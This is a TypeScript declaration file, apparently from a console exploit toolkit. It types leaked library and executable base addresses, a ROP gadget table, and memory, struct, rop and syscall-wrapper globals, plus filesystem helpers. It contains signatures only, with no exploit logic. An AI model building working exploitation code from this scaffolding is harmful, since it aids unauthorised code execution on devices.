{ name: 'st_birthtim_nsec', type: 'Int64' }
|
|
||||||
]>
|
|
||||||
exists (path: string): boolean
|
|
||||||
readFile (path: string): Uint8Array
|
|
||||||
readTextFile (path: string): string
|
|
||||||
writeFile (path: string, data: ArrayBufferLike | Uint8Array): void
|
|
||||||
writeTextFile (path: string, data: string): void
|
|
||||||
remove (path: string): void
|
|
||||||
mkdir (path: string): void
|
|
||||||
}
|
|
||||||
|
|
||||||
declare class SyscallError extends Error {
|
|
||||||
syscall: string
|
|
||||||
errno: number
|
|
||||||
strerror: string
|
|
||||||
constructor (syscall: string, errno: number, strerror: string)
|
|
||||||
}
|
|
||||||
|
|
||||||
declare var jsc_addr: vue.BigInt
|
|
||||||
declare var libc_addr: vue.BigInt
|
|
||||||
declare var eboot_addr: vue.BigInt
|
|
||||||
declare var gadgets: Record<string, vue.BigInt>
|
|
||||||
|
|
||||||
function log (msg: string): void
|
|
||||||
function debug (msg: string): void
|
|
||||||
|
|
||||||
declare var mem: Mem
|
|
||||||
declare var struct: Struct
|
|
||||||
declare var utils: Utils
|
|
||||||
declare var rop: Rop
|
|
||||||
declare var fn: Fn
|
|
||||||
declare var fs: Fs
|
|
||||||
Reference in New Issue
Block a user